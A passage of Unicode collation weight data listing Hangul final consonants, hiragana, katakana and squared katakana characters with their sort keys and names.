RIEUL-YEORINHIEUH -11DA ; [.3D03.0020.0002] # HANGUL JONGSEONG MIEUM-KIYEOK -11DB ; [.3D04.0020.0002] # HANGUL JONGSEONG MIEUM-RIEUL -11DC ; [.3D05.0020.0002] # HANGUL JONGSEONG MIEUM-PIEUP -11DD ; [.3D06.0020.0002] # HANGUL JONGSEONG MIEUM-SIOS -316F ; [.3D06.0020.0004] # HANGUL LETTER MIEUM-SIOS -11DE ; [.3D07.0020.0002] # HANGUL JONGSEONG MIEUM-SSANGSIOS -11DF ; [.3D08.0020.0002] # HANGUL JONGSEONG MIEUM-PANSIOS -3170 ; [.3D08.0020.0004] # HANGUL LETTER MIEUM-PANSIOS -11E0 ; [.3D09.0020.0002] # HANGUL JONGSEONG MIEUM-CHIEUCH -11E1 ; [.3D0A.0020.0002] # HANGUL JONGSEONG MIEUM-HIEUH -11E2 ; [.3D0B.0020.0002] # HANGUL JONGSEONG KAPYEOUNMIEUM -11E3 ; [.3D0C.0020.0002] # HANGUL JONGSEONG PIEUP-RIEUL -11E4 ; [.3D0D.0020.0002] # HANGUL JONGSEONG PIEUP-PHIEUPH -11E5 ; [.3D0E.0020.0002] # HANGUL JONGSEONG PIEUP-HIEUH -11E6 ; [.3D0F.0020.0002] # HANGUL JONGSEONG KAPYEOUNPIEUP -11E7 ; [.3D10.0020.0002] # HANGUL JONGSEONG SIOS-KIYEOK -11E8 ; [.3D11.0020.0002] # HANGUL JONGSEONG SIOS-TIKEUT -11E9 ; [.3D12.0020.0002] # HANGUL JONGSEONG SIOS-RIEUL -11EA ; [.3D13.0020.0002] # HANGUL JONGSEONG SIOS-PIEUP -11EB ; [.3D14.0020.0002] # HANGUL JONGSEONG PANSIOS -11EC ; [.3D15.0020.0002] # HANGUL JONGSEONG IEUNG-KIYEOK -11ED ; [.3D16.0020.0002] # HANGUL JONGSEONG IEUNG-SSANGKIYEOK -11EE ; [.3D17.0020.0002] # HANGUL JONGSEONG SSANGIEUNG -11EF ; [.3D18.0020.0002] # HANGUL JONGSEONG IEUNG-KHIEUKH -11F0 ; [.3D19.0020.0002] # HANGUL JONGSEONG YESIEUNG -11F1 ; [.3D1A.0020.0002] # HANGUL JONGSEONG YESIEUNG-SIOS -3182 ; [.3D1A.0020.0004] # HANGUL LETTER YESIEUNG-SIOS -11F2 ; [.3D1B.0020.0002] # HANGUL JONGSEONG YESIEUNG-PANSIOS -3183 ; [.3D1B.0020.0004] # HANGUL LETTER YESIEUNG-PANSIOS -11F3 ; [.3D1C.0020.0002] # HANGUL JONGSEONG PHIEUPH-PIEUP -11F4 ; [.3D1D.0020.0002] # HANGUL JONGSEONG KAPYEOUNPHIEUPH -11F5 ; [.3D1E.0020.0002] # HANGUL JONGSEONG HIEUH-NIEUN -11F6 ; [.3D1F.0020.0002] # HANGUL JONGSEONG HIEUH-RIEUL -11F7 ; [.3D20.0020.0002] # HANGUL JONGSEONG HIEUH-MIEUM -11F8 ; [.3D21.0020.0002] # HANGUL JONGSEONG HIEUH-PIEUP -11F9 ; [.3D22.0020.0002] # HANGUL JONGSEONG YEORINHIEUH -11FA ; [.3D23.0020.0002] # HANGUL JONGSEONG KIYEOK-NIEUN -11FB ; [.3D24.0020.0002] # HANGUL JONGSEONG KIYEOK-PIEUP -11FC ; [.3D25.0020.0002] # HANGUL JONGSEONG KIYEOK-CHIEUCH -11FD ; [.3D26.0020.0002] # HANGUL JONGSEONG KIYEOK-KHIEUKH -11FE ; [.3D27.0020.0002] # HANGUL JONGSEONG KIYEOK-HIEUH -11FF ; [.3D28.0020.0002] # HANGUL JONGSEONG SSANGNIEUN -D7CB ; [.3D29.0020.0002] # HANGUL JONGSEONG NIEUN-RIEUL -D7CC ; [.3D2A.0020.0002] # HANGUL JONGSEONG NIEUN-CHIEUCH -D7CD ; [.3D2B.0020.0002] # HANGUL JONGSEONG SSANGTIKEUT -D7CE ; [.3D2C.0020.0002] # HANGUL JONGSEONG SSANGTIKEUT-PIEUP -D7CF ; [.3D2D.0020.0002] # HANGUL JONGSEONG TIKEUT-PIEUP -D7D0 ; [.3D2E.0020.0002] # HANGUL JONGSEONG TIKEUT-SIOS -D7D1 ; [.3D2F.0020.0002] # HANGUL JONGSEONG TIKEUT-SIOS-KIYEOK -D7D2 ; [.3D30.0020.0002] # HANGUL JONGSEONG TIKEUT-CIEUC -D7D3 ; [.3D31.0020.0002] # HANGUL JONGSEONG TIKEUT-CHIEUCH -D7D4 ; [.3D32.0020.0002] # HANGUL JONGSEONG TIKEUT-THIEUTH -D7D5 ; [.3D33.0020.0002] # HANGUL JONGSEONG RIEUL-SSANGKIYEOK -D7D6 ; [.3D34.0020.0002] # HANGUL JONGSEONG RIEUL-KIYEOK-HIEUH -D7D7 ; [.3D35.0020.0002] # HANGUL JONGSEONG SSANGRIEUL-KHIEUKH -D7D8 ; [.3D36.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM-HIEUH -D7D9 ; [.3D37.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-TIKEUT -D7DA ; [.3D38.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-PHIEUPH -D7DB ; [.3D39.0020.0002] # HANGUL JONGSEONG RIEUL-YESIEUNG -D7DC ; [.3D3A.0020.0002] # HANGUL JONGSEONG RIEUL-YEORINHIEUH-HIEUH -D7DD ; [.3D3B.0020.0002] # HANGUL JONGSEONG KAPYEOUNRIEUL -D7DE ; [.3D3C.0020.0002] # HANGUL JONGSEONG MIEUM-NIEUN -D7DF ; [.3D3D.0020.0002] # HANGUL JONGSEONG MIEUM-SSANGNIEUN -D7E0 ; [.3D3E.0020.0002] # HANGUL JONGSEONG SSANGMIEUM -D7E1 ; [.3D3F.0020.0002] # HANGUL JONGSEONG MIEUM-PIEUP-SIOS -D7E2 ; [.3D40.0020.0002] # HANGUL JONGSEONG MIEUM-CIEUC -D7E3 ; [.3D41.0020.0002] # HANGUL JONGSEONG PIEUP-TIKEUT -D7E4 ; [.3D42.0020.0002] # HANGUL JONGSEONG PIEUP-RIEUL-PHIEUPH -D7E5 ; [.3D43.0020.0002] # HANGUL JONGSEONG PIEUP-MIEUM -D7E6 ; [.3D44.0020.0002] # HANGUL JONGSEONG SSANGPIEUP -D7E7 ; [.3D45.0020.0002] # HANGUL JONGSEONG PIEUP-SIOS-TIKEUT -D7E8 ; [.3D46.0020.0002] # HANGUL JONGSEONG PIEUP-CIEUC -D7E9 ; [.3D47.0020.0002] # HANGUL JONGSEONG PIEUP-CHIEUCH -D7EA ; [.3D48.0020.0002] # HANGUL JONGSEONG SIOS-MIEUM -D7EB ; [.3D49.0020.0002] # HANGUL JONGSEONG SIOS-KAPYEOUNPIEUP -D7EC ; [.3D4A.0020.0002] # HANGUL JONGSEONG SSANGSIOS-KIYEOK -D7ED ; [.3D4B.0020.0002] # HANGUL JONGSEONG SSANGSIOS-TIKEUT -D7EE ; [.3D4C.0020.0002] # HANGUL JONGSEONG SIOS-PANSIOS -D7EF ; [.3D4D.0020.0002] # HANGUL JONGSEONG SIOS-CIEUC -D7F0 ; [.3D4E.0020.0002] # HANGUL JONGSEONG SIOS-CHIEUCH -D7F1 ; [.3D4F.0020.0002] # HANGUL JONGSEONG SIOS-THIEUTH -D7F2 ; [.3D50.0020.0002] # HANGUL JONGSEONG SIOS-HIEUH -D7F3 ; [.3D51.0020.0002] # HANGUL JONGSEONG PANSIOS-PIEUP -D7F4 ; [.3D52.0020.0002] # HANGUL JONGSEONG PANSIOS-KAPYEOUNPIEUP -D7F5 ; [.3D53.0020.0002] # HANGUL JONGSEONG YESIEUNG-MIEUM -D7F6 ; [.3D54.0020.0002] # HANGUL JONGSEONG YESIEUNG-HIEUH -D7F7 ; [.3D55.0020.0002] # HANGUL JONGSEONG CIEUC-PIEUP -D7F8 ; [.3D56.0020.0002] # HANGUL JONGSEONG CIEUC-SSANGPIEUP -D7F9 ; [.3D57.0020.0002] # HANGUL JONGSEONG SSANGCIEUC -D7FA ; [.3D58.0020.0002] # HANGUL JONGSEONG PHIEUPH-SIOS -D7FB ; [.3D59.0020.0002] # HANGUL JONGSEONG PHIEUPH-THIEUTH -3041 ; [.3D5A.0020.000D] # HIRAGANA LETTER SMALL A -3042 ; [.3D5A.0020.000E] # HIRAGANA LETTER A -30A1 ; [.3D5A.0020.000F] # KATAKANA LETTER SMALL A -FF67 ; [.3D5A.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL A -30A2 ; [.3D5A.0020.0011] # KATAKANA LETTER A -FF71 ; [.3D5A.0020.0012] # HALFWIDTH KATAKANA LETTER A -32D0 ; [.3D5A.0020.0013] # CIRCLED KATAKANA A -3303 ; [.3D5A.0020.001C][.1C0E.0020.001C][.3D84.0020.001C] # SQUARE AARU -3300 ; [.3D5A.0020.001C][.3D74.0020.001C][.0000.0038.001C][.1C0E.0020.001C][.3D6E.0020.001C] # SQUARE APAATO -3301 ; [.3D5A.0020.001C][.3D84.0020.001C][.3D76.0020.001C][.3D5A.0020.001C] # SQUARE ARUHUA -3302 ; [.3D5A.0020.001C][.3D8B.0020.001C][.3D77.0020.001C][.0000.0038.001C][.3D5A.0020.001C] # SQUARE ANPEA -3043 ; [.3D5B.0020.000D] # HIRAGANA LETTER SMALL I -3044 ; [.3D5B.0020.000E] # HIRAGANA LETTER I -30A3 ; [.3D5B.0020.000F] # KATAKANA LETTER SMALL I -FF68 ; [.3D5B.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL I -30A4 ; [.3D5B.0020.0011] # KATAKANA LETTER I -FF72 ; [.3D5B.0020.0012] # HALFWIDTH KATAKANA LETTER I -32D1 ; [.3D5B.0020.0013] # CIRCLED KATAKANA I -3304 ; [.3D5B.0020.001C][.3D70.0020.001C][.3D8B.0020.001C][.3D62.0020.001C][.0000.0037.001C] # SQUARE ININGU -3305 ; [.3D5B.0020.001C][.3D8B.0020.001C][.3D6B.0020.001C] # SQUARE INTI -3045 ; [.3D5C.0020.000D] # HIRAGANA LETTER SMALL U -3046 ; [.3D5C.0020.000E] # HIRAGANA LETTER U -30A5 ; [.3D5C.0020.000F] # KATAKANA LETTER SMALL U -FF69 ; [.3D5C.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL U -30A6 ; [.3D5C.0020.0011] # KATAKANA LETTER U -FF73 ; [.3D5C.0020.0012] # HALFWIDTH KATAKANA LETTER U -32D2 ; [.3D5C.0020.0013] # CIRCLED KATAKANA U -3094 ; [.3D5C.0020.000E][.0000.0037.0002] # HIRAGANA LETTER VU -30F4 ; [.3D5C.0020.0011][.0000.0037.0002] # KATAKANA LETTER VU -3306 ; [.3D5C.0020.001C][.3D5F.0020.001C][.3D8B.0020.001C] # SQUARE UON -1B000 ; [.3D5D.0020.0011] # KATAKANA LETTER ARCHAIC E -3047 ; [.3D5E.0020.000D] # HIRAGANA LETTER SMALL E -3048 ; [.3D5E.0020.000E] # HIRAGANA LETTER E -30A7 ; [.3D5E.0020.000F] # KATAKANA LETTER SMALL E -FF6A ; [.3D5E.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL E -30A8 ; [.3D5E.0020.0011] # KATAKANA LETTER E -FF74 ; [.3D5E.0020.0012] # HALFWIDTH KATAKANA LETTER E -32D3 ; [.3D5E.0020.0013] # CIRCLED KATAKANA E -3308 ; [.3D5E.0020.001C][.1C0E.0020.001C][.3D60.0020.001C][.1C0E.0020.001C] # SQUARE EEKAA -3307 ; [.3D5E.0020.001C][.3D67.0020.001C][.3D62.0020.001C][.1C0E.0020.001C][.3D6E.0020.001C][.0000.0037.001C] # SQUARE ESUKUUDO -3049 ; [.3D5F.0020.000D] # HIRAGANA LETTER SMALL O -304A ; [.3D5F.0020.000E] # HIRAGANA LETTER O -30A9 ; [.3D5F.0020.000F] # KATAKANA LETTER SMALL O -FF6B ; [.3D5F.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL O -30AA ; [.3D5F.0020.0011] # KATAKANA LETTER O -FF75 ; [.3D5F.0020.0012] # HALFWIDTH KATAKANA LETTER O -32D4 ; [.3D5F.0020.0013] # CIRCLED KATAKANA O -330A ; [.3D5F.0020.001C][.1C0E.0020.001C][.3D7B.0020.001C] # SQUARE OOMU -3309 ; [.3D5F.0020.001C][.3D8B.0020.001C][.3D67.0020.001C] # SQUARE ONSU -3095 ; [.3D60.0020.000D] # HIRAGANA LETTER SMALL KA -304B ; [.3D60.0020.000E] # HIRAGANA LETTER KA -30F5 ; [.3D60.0020.000F] # KATAKANA LETTER SMALL KA -30AB ; [.3D60.0020.0011] # KATAKANA LETTER KA -FF76 ; [.3D60.0020.0012] # HALFWIDTH KATAKANA LETTER KA -32D5 ; [.3D60.0020.0013] # CIRCLED KATAKANA KA -304C ; [.3D60.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GA -30AC ; [.3D60.0020.0011][.0000.0037.0002] # KATAKANA LETTER GA -330B ; [.3D60.0020.001C][.3D5B.0020.001C][.3D83.0020.001C] # SQUARE KAIRI -330C ; [.3D60.0020.001C][.3D82.0020.001C][.3D6C.0020.001C][.3D6E.0020.001C] # SQUARE KARATTO -330D ; [.3D60.0020.001C][.3D86.0020.001C][.3D83.0020.001C][.1C0E.0020.001C] # SQUARE KARORII -330E ; [.3D60.0020.001C][.0000.0037.001C][.3D86.0020.001C][.3D8B.0020.001C] # SQUARE GARON -330F ; [.3D60.0020.001C][.0000.0037.001C][.3D8B.0020.001C][.3D79.0020.001C] # SQUARE GANMA -304D ; [.3D61.0020.000E] # HIRAGANA LETTER KI -30AD ; [.3D61.0020.0011] # KATAKANA LETTER KI -FF77 ; [.3D61.0020.0012] # HALFWIDTH KATAKANA LETTER KI -32D6 ; [.3D61.0020.0013] # CIRCLED KATAKANA KI -304E ; [.3D61.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GI -30AE ; [.3D61.0020.0011][.0000.0037.0002] # KATAKANA LETTER GI -3310 ; [.3D61.0020.001C][.0000.0037.001C][.3D60.0020.001C][.0000.0037.001C] # SQUARE GIGA -3311 ; [.3D61.0020.001C][.0000.0037.001C][.3D70.0020.001C][.1C0E.0020.001C] # SQUARE GINII -3312 ; [.3D61.0020.001C][.3D7F.0020.001C][.3D83.0020.001C][.1C0E.0020.001C] # SQUARE KYURII -3313 ; [.3D61.0020.001C][.0000.0037.001C][.3D84.0020.001C][.3D6A.0020.001C][.0000.0037.001C][.1C0E.0020.001C] # SQUARE GIRUDAA -3314 ; [.3D61.0020.001C][.3D86.0020.001C] # SQUARE KIRO -3315 ; [.3D61.0020.001C][.3D86.0020.001C][.3D62.0020.001C][.0000.0037.001C][.3D82.0020.001C][.3D7B.0020.001C] # SQUARE KIROGURAMU -3316 ; [.3D61.0020.001C][.3D86.0020.001C][.3D7C.0020.001C][.1C0E.0020.001C][.3D6E.0020.001C][.3D84.0020.001C] # SQUARE KIROMEETORU -3317 ; [.3D61.0020.001C][.3D86.0020.001C][.3D87.0020.001C][.3D6C.0020.001C][.3D6E.0020.001C] # SQUARE KIROWATTO -304F ; [.3D62.0020.000E] # HIRAGANA LETTER KU -31F0 ; [.3D62.0020.000F] # KATAKANA LETTER SMALL KU -30AF ; [.3D62.0020.0011] # KATAKANA LETTER KU -FF78 ; [.3D62.0020.0012] # HALFWIDTH KATAKANA LETTER KU -32D7 ; [.3D62.0020.0013] # CIRCLED KATAKANA KU -3050 ; [.3D62.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GU -30B0 ; [.3D62.0020.0011][.0000.0037.0002] # KATAKANA LETTER GU -3318 ; [.3D62.0020.001C][.0000.0037.001C][.3D82.0020.001C][.3D7B.0020.001C] # SQUARE GURAMU -3319 ; [.3D62.0020.001C][.0000.0037.001C][.3D82.0020.001C][.3D7B.0020.001C][.3D6E.0020.001C][.3D8B.0020.001C] # SQUARE GURAMUTON -331A ; [.3D62.0020.001C][.3D84.0020.001C][.3D68.0020.001C][.0000.0037.001C][.3D5B.0020.001C][.3D86.0020.001C] # SQUARE KURUZEIRO -331B ; [.3D62.0020.001C][.3D86.0020.001C][.1C0E.0020.001C][.3D72.0020.001C] # SQUARE KUROONE -3096 ; [.3D63.0020.000D] # HIRAGANA LETTER SMALL KE -3051 ; [.3D63.0020.000E] # HIRAGANA LETTER KE -30F6 ; [.3D63.0020.000F] # KATAKANA LETTER SMALL KE -30B1 ; [.3D63.0020.0011] # KATAKANA LETTER KE -FF79 ; [.3D63.0020.0012] # HALFWIDTH KATAKANA LETTER KE -32D8 ; [.3D63.0020.0013] # CIRCLED KATAKANA KE -3052 ; [.3D63.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GE -30B2 ; [.3D63.0020.0011][.0000.0037.0002] # KATAKANA LETTER GE -331C ; [.3D63.0020.001C][.1C0E.0020.001C][.3D67.0020.001C] # SQUARE KEESU -3053 ; [.3D64.0020.000E] # HIRAGANA LETTER KO -30B3 ; [.3D64.0020.0011] # KATAKANA LETTER KO -FF7A ; [.3D64.0020.0012] # HALFWIDTH KATAKANA LETTER KO -32D9 ; [.3D64.0020.0013] # CIRCLED KATAKANA KO -3054 ; [.3D64.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GO -30B4 ; [.3D64.0020.0011][.0000.0037.0002] # KATAKANA LETTER GO -331E ; [.3D64.0020.001C][.1C0E.0020.001C][.3D78.0020.001C][.0000.0038.001C] # SQUARE KOOPO -1F201 ; [.3D64.0020.001C][.3D64.0020.001C] # SQUARED KATAKANA KOKO -30FF ; [.3D64.0020.0016][.3D6E.0020.0016] # KATAKANA DIGRAPH KOTO -331D ; [.3D64.0020.001C][.3D84.0020.001C][.3D6F.0020.001C] # SQUARE KORUNA -3055 ; [.3D65.0020.000E] # HIRAGANA LETTER SA -30B5 ; [.3D65.0020.0011] # KATAKANA LETTER SA -FF7B ; [.3D65.0020.0012] # HALFWIDTH KATAKANA LETTER SA -32DA ; [.3D65.0020.0013] # CIRCLED KATAKANA SA -1F202 ; [.3D65.0020.001C] # SQUARED KATAKANA SA -3056 ; [.3D65.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZA -30B6 ; [.3D65.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZA -331F ; [.3D65.0020.001C][.3D5B.0020.001C][.3D62.0020.001C][.3D84.0020.001C] # SQUARE SAIKURU -3320 ; [.3D65.0020.001C][.3D8B.0020.001C][.3D6B.0020.001C][.1C0E.0020.001C][.3D7B.0020.001C] # SQUARE SANTIIMU -3057 ; [.3D66.0020.000E] # HIRAGANA LETTER SI -31F1 ; [.3D66.0020.000F] # KATAKANA LETTER SMALL SI -30B7 ; [.3D66.0020.0011] # KATAKANA LETTER SI -FF7C ; [.3D66.0020.0012] # HALFWIDTH KATAKANA LETTER SI -32DB ; [.3D66.0020.0013] # CIRCLED KATAKANA SI -3058 ; [.3D66.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZI -30B8 ; [.3D66.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZI -3006 ; [.3D66.0020.0004][.3D7C.0020.0004] # IDEOGRAPHIC CLOSING MARK -3321 ; [.3D66.0020.001C][.3D83.0020.001C][.3D8B.0020.001C][.3D62.0020.001C][.0000.0037.001C] # SQUARE SIRINGU -3059 ; [.3D67.0020.000E] # HIRAGANA LETTER SU -31F2 ; [.3D67.0020.000F] # KATAKANA LETTER SMALL SU -30B9 ; [.3D67.0020.0011] # KATAKANA LETTER SU -FF7D ; [.3D67.0020.0012] # HALFWIDTH KATAKANA LETTER SU -32DC ; [.3D67.0020.0013] # CIRCLED KATAKANA SU -305A ; [.3D67.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZU -30BA ; [.3D67.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZU -305B ; [.3D68.0020.000E] # HIRAGANA LETTER SE -30BB ; [.3D68.0020.0011] # KATAKANA LETTER SE -FF7E ; [.3D68.0020.0012] # HALFWIDTH KATAKANA LETTER SE -32DD ; [.3D68.0020.0013] # CIRCLED KATAKANA SE -305C ; [.3D68.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZE -30BC ; [.3D68.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZE -3322 ; [.3D68.0020.001C][.3D8B.0020.001C][.3D6B.0020.001C] # SQUARE SENTI -3323 ; [.3D68.0020.001C][.3D8B.0020.001C][.3D6E.0020.001C] # SQUARE SENTO -305D ; [.3D69.0020.000E] # HIRAGANA LETTER SO -30BD ; [.3D69.0020.0011] # KATAKANA LETTER SO -FF7F ; [.3D69.0020.0012] # HALFWIDTH KATAKANA LETTER SO -32DE ; [.3D69.0020.0013] # CIRCLED KATAKANA SO -305E ; [.3D69.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZO -30BE ; [.3D69.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZO -305F ; [.3D6A.0020.000E] # HIRAGANA LETTER TA -30BF ; [.3D6A.0020.0011] # KATAKANA LETTER TA -FF80 ; [.3D6A.0020.0012] # HALFWIDTH KATAKANA LETTER TA -32DF ; [.3D6A.0020.0013] # CIRCLED KATAKANA TA -3060 ; [.3D6A.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DA -30C0 ; [.3D6A.0020.0011][.0000.0037.0002] # KATAKANA LETTER DA -3324 ; [.3D6A.0020.001C][.0000.0037.001C][.1C0E.0020.001C][.3D67.0020.001C] # SQUARE DAASU -3061 ; [.3D6B.0020.000E] # HIRAGANA LETTER TI -30C1 ; [.3D6B.0020.0011] # KATAKANA LETTER TI -FF81 ; [.3D6B.0020.0012] # HALFWIDTH KATAKANA LETTER TI -32E0 ; [.3D6B.0020.0013] # CIRCLED KATAKANA TI -3062 ; [.3D6B.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DI -30C2 ; [.3D6B.0020.0011][.0000.0037.0002] # KATAKANA LETTER DI -3063 ; [.3D6C.0020.000D] # HIRAGANA LETTER SMALL TU -3064 ; [.3D6C.0020.000E] # HIRAGANA LETTER TU -30C3 ; [.3D6C.0020.000F] # KATAKANA LETTER SMALL TU -FF6F ; [.3D6C.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL TU -30C4 ; [.3D6C.0020.0011] # KATAKANA LETTER TU -FF82 ; [.3D6C.0020.0012] # HALFWIDTH KATAKANA LETTER TU -32E1 ; [.3D6C.0020.0013] # CIRCLED KATAKANA TU -3065 ; [.3D6C.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DU -30C5 ; [.3D6C.0020.0011][.0000.0037.0002] # KATAKANA LETTER DU -3066 ; [.3D6D.0020.000E] # HIRAGANA LETTER TE -30C6 ; [.3D6D.0020.0011] # KATAKANA LETTER TE -FF83 ; [.3D6D.0020.0012] # HALFWIDTH KATAKANA LETTER TE -32E2 ; [.3D6D.0020.0013] # CIRCLED KATAKANA TE -3067 ; [.3D6D.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DE -30C7 ; [.3D6D.0020.0011][.0000.0037.0002] # KATAKANA LETTER DE -1F213 ; [.3D6D.0020.001C][.0000.0037.001C] # SQUARED KATAKANA DE -3325 ; [.3D6D.0020.001C][.0000.0037.001C][.3D66.0020.001C] # SQUARE DESI -3068 ; [.3D6E.0020.000E] # HIRAGANA LETTER TO -31F3 ; [.3D6E.0020.000F] # KATAKANA LETTER SMALL TO -30C8 ; [.3D6E.0020.0011] # KATAKANA LETTER TO -FF84 ; [.3D6E.0020.0012] # HALFWIDTH KATAKANA LETTER TO -32E3 ; [.3D6E.0020.0013] # CIRCLED KATAKANA TO -3069 ; [.3D6E.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DO -30C9 ; [.3D6E.0020.0011][.0000.0037.0002] # KATAKANA LETTER DO -3326 ; [.3D6E.0020.001C][.0000.0037.001C][.3D84.0020.001C] # SQUARE DORU -3327 ; [.3D6E.0020.001C][.3D8B.0020.001C] # SQUARE TON -306A ; [.3D6F.0020.000E] # HIRAGANA LETTER NA -30CA ; [.3D6F.0020.0011] # KATAKANA LETTER NA -FF85 ; [.3D6F.0020.0012] # HALFWIDTH KATAKANA LETTER NA -32E4 ; [.3D6F.0020.0013] # CIRCLED KATAKANA NA -3328 ; [.3D6F.0020.001C][.3D73.0020.001C] # SQUARE NANO -306B ; [.3D70.0020.000E] # HIRAGANA LETTER NI -30CB ; [.3D70.0020.0011] # KATAKANA LETTER NI -FF86 ; [.3D70.0020.0012] # HALFWIDTH KATAKANA LETTER NI -32E5 ; [.3D70.0020.0013] # CIRCLED KATAKANA NI -306C ; [.3D71.0020.000E] # HIRAGANA LETTER NU -31F4 ; [.3D71.0020.000F] # KATAKANA LETTER SMALL NU -30CC ; [.3D71.0020.0011] # KATAKANA LETTER NU -FF87 ; [.3D71.0020.0012] # HALFWIDTH KATAKANA LETTER NU -32E6 ; [.3D71.0020.0013] # CIRCLED KATAKANA NU -306D ; [.3D72.0020.000E] # HIRAGANA LETTER NE -30CD ; [.3D72.0020.0011] # KATAKANA LETTER NE -FF88 ; [.3D72.0020.0012] # HALFWIDTH KATAKANA LETTER NE -32E7 ; [.3D72.0020.0013] # CIRCLED KATAKANA NE -306E ; [.3D73.0020.000E] # HIRAGANA LETTER NO -30CE ; [.3D73.0020.0011] # KATAKANA LETTER NO -FF89 ; [.3D73.0020.0012] # HALFWIDTH KATAKANA LETTER NO -32E8 ; [.3D73.0020.0013] # CIRCLED KATAKANA NO -3329 ; [.3D73.0020.001C][.3D6C.0020.001C][.3D6E.0020.001C] # SQUARE NOTTO -306F ; [.3D74.0020.000E] # HIRAGANA LETTER HA -31F5 ; [.3D74.0020.000F] # KATAKANA LETTER SMALL HA -30CF ; [.3D74.0020.0011] # KATAKANA LETTER HA -FF8A ; [.3D74.0020.0012] # HALFWIDTH KATAKANA LETTER HA -32E9 ; [.3D74.0020.0013] # CIRCLED KATAKANA HA -3070 ; [.3D74.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BA -30D0 ; [.3D74.0020.0011][.0000.0037.0002] # KATAKANA LETTER BA -3071 ; [.3D74.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PA -30D1 ; [.3D74.0020.0011][.0000.0038.0002] # KATAKANA LETTER PA -332B ; [.3D74.0020.001C][.0000.0038.001C][.1C0E.0020.001C][.3D68.0020.001C][.3D8B.0020.001C][.3D6E.0020.001C] # SQUARE PAASENTO -332C ; [.3D74.0020.001C][.0000.0038.001C][.1C0E.0020.001C][.3D6C.0020.001C] # SQUARE PAATU -332D ; [.3D74.0020.001C][.0000.0037.001C][.1C0E.0020.001C][.3D85.0020.001C][.3D84.0020.001C] # SQUARE BAARERU -332A ; [.3D74.0020.001C][.3D5B.0020.001C][.3D6C.0020.001C] # SQUARE HAITU -3072 ; [.3D75.0020.000E] # HIRAGANA LETTER HI -31F6 ; [.3D75.0020.000F] # KATAKANA LETTER SMALL HI -30D2 ; [.3D75.0020.0011] # KATAKANA LETTER HI -FF8B ; [.3D75.0020.0012] # HALFWIDTH KATAKANA LETTER HI -32EA ; [.3D75.0020.0013] # CIRCLED KATAKANA HI -3073 ; [.3D75.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BI -30D3 ; [.3D75.0020.0011][.0000.0037.0002] # KATAKANA LETTER BI -3074 ; [.3D75.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PI -30D4 ; [.3D75.0020.0011][.0000.0038.0002] # KATAKANA LETTER PI -332E ; [.3D75.0020.001C][.0000.0038.001C][.3D5A.0020.001C][.3D67.0020.001C][.3D6E.0020.001C][.3D84.0020.001C] # SQUARE PIASUTORU -332F ; [.3D75.0020.001C][.0000.0038.001C][.3D62.0020.001C][.3D84.0020.001C] # SQUARE PIKURU -3330 ; [.3D75.0020.001C][.0000.0038.001C][.3D64.0020.001C] # SQUARE PIKO -3331 ; [.3D75.0020.001C][.0000.0037.001C][.3D84.0020.001C] # SQUARE BIRU -3075 ; [.3D76.0020.000E] # HIRAGANA LETTER HU -31F7 ; [.3D76.0020.000F] # KATAKANA LETTER SMALL HU -30D5 ; [.3D76.0020.0011] # KATAKANA LETTER HU -FF8C ; [.3D76.0020.0012] # HALFWIDTH KATAKANA LETTER HU -32EB ; [.3D76.0020.0013] # CIRCLED KATAKANA HU -3076 ; [.3D76.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BU -30D6 ; [.3D76.0020.0011][.0000.0037.0002] # KATAKANA LETTER BU -3077 ; [.3D76.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PU -30D7 ; [.3D76.0020.0011][.0000.0038.0002] # KATAKANA LETTER PU -3332 ; [.3D76.0020.001C][.3D5A.0020.001C][.3D82.0020.001C][.3D6C.0020.001C][.3D6E.0020.001C][.0000.0037.001C] # SQUARE HUARADDO -3333 ; [.3D76.0020.001C][.3D5B.0020.001C][.1C0E.0020.001C][.3D6E.0020.001C] # SQUARE HUIITO -3334 ; [.3D76.0020.001C][.0000.0037.001C][.3D6C.0020.001C][.3D66.0020.001C][.3D5E.0020.001C][.3D84.0020.001C] # SQUARE BUSSYERU -3335 ; [.3D76.0020.001C][.3D82.0020.001C][.3D8B.0020.001C] # SQUARE HURAN -3078 ; [.3D77.0020.000E] # HIRAGANA LETTER HE -31F8 ; [.3D77.0020.000F] # KATAKANA LETTER SMALL HE -30D8 ; [.3D77.0020.0011] # KATAKANA LETTER HE -FF8D ; [.3D77.0020.0012] # HALFWIDTH KATAKANA LETTER HE -32EC ; [.3D77.0020.0013] # CIRCLED KATAKANA HE -3079 ; [.3D77.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BE -30D9 ; [.3D77.0020.0011][.0000.0037.0002] # KATAKANA LETTER BE -307A ; [.3D77.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PE -30DA ; [.3D77.0020.0011][.0000.0038.0002] # KATAKANA LETTER PE -333B ; 